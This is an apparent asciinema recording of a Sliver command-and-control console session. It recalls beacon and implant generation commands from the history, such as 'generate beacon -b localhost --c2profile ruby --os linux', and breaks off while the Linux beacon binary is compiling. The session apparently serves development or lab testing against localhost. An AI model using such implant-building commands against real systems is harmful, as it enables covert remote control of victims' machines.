[10.628701, "o", "\u001b[?25l\u001b[272D"]
[10.630492, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.643229, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.643626, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mge\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
[10.647217, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m247 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m245 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m linuxImplant -c deflate9\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m244 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m242 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m240 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -c zlib linuxImplant\u001b[0m "]
[10.649035, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m239 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m235 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -c zlib\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m234 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m232 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m "]
[10.649226, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m219 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m217 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m210 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m207 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m203 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate implant1\u001b"]
[10.651504, "o", "[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[2m\u001b[33m 2 more completion rows... (scroll down to show)\u001b[0m\u001b[0J\u001b[272D\u001b[29A\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
[10.829126, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.837811, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.838715, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mgen\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
[10.841145, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m "]
[10.841763, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m150 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug"]
[10.841831, "o", "\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m146 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m145 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m88 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m61 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m45 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b locahost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m38 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m26 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --debug --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m21 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --deb"]
[10.841873, "o", "ug --skip-symbols\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m14 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m3 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate --skip-symbols --os linux -b localhost --debug\u001b[0m \u001b[0m\u001b[0K\u001b[0J\u001b[272D\u001b[25A"]
[10.842556, "o", "\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
[10.873979, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.875574, "o", "\u001b[6n"]
[10.881897, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.883943, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mgene\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
[10.884691, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m "]
[10.884977, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m150 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug"]
[10.885092, "o", "\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m146 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m145 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m88 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m61 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m45 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b locahost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m38 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m26 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --debug --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m21 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --deb"]
[10.886217, "o", "ug --skip-symbols\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m14 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m3 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate --skip-symbols --os linux -b localhost --debug\u001b[0m \u001b[0m\u001b[0K\u001b[0J\u001b[272D\u001b[25A"]
[10.88645, "o", "\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
[11.066897, "o", "\u001b[?25l\u001b[272D"]
[11.070735, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.079679, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.081536, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mgener\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
[11.083793, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m "]
[11.08465, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m150 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug"]
[11.085571, "o", "\u001b[0m \u001b[0m\u001b[0K\r"]
[11.086578, "o", "\r\n\u001b[m\u001b[2m146 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m145 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m88 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m61 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m45 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b locahost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m38 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m26 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --debug --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m21 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --debug --skip-symbols\u001b[0m "]
[11.087019, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m14 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m3 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate --skip-symbols --os linux -b localhost --debug\u001b[0m \u001b[0m\u001b[0K\u001b[0J\u001b[272D\u001b[25A"]
[11.088657, "o", "\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
[13.132654, "o", "\u001b[1 q\u001b[88D\u001b[9C\u001b[6n"]
[13.144997, "o", "\u001b[272D\u001b[88C\u001b[0J\u001b[272D\r\r\n"]
[13.146633, "o", "\u001b[0 q\r\n"]
[13.163829, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (1m0s)\r\n"]
[13.266564, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[13.367604, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[13.468205, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[13.56865, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[13.670654, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[13.775009, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[13.875673, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[13.980192, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[14.080607, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[14.182043, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[14.286749, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[14.388687, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[14.489389, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[14.592853, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[14.69579, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[14.797747, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[14.89881, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[14.99907, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[15.099155, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[15.199718, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[15.301844, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[15.400693, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[15.501925, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[15.602699, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[15.703195, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[15.806347, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[15.907432, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[16.007596, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[16.107915, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[16.210775, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[16.311948, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[16.413473, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[16.512881, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[16.614219, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[16.71476, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[16.840076, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[16.916564, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[17.017613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[17.118565, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[17.219654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[17.320772, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[17.421508, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[17.522366, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[17.622827, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[17.723849, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[17.824878, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[17.925809, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[18.026134, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[18.127197, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[18.228757, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[18.329262, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[18.43072, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[18.532921, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[18.634189, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[18.735237, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[18.83613, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[18.941467, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[19.042585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[19.144166, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[19.245445, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[19.345657, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[19.447133, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[19.548171, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[19.647948, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[19.748565, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[19.849248, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[19.950498, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[20.051241, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[20.152222, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[20.255517, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[20.356137, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[20.456888, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[20.558167, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[20.658768, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[20.758961, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[20.859802, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[20.960413, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[21.06133, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[21.162318, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[21.263139, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
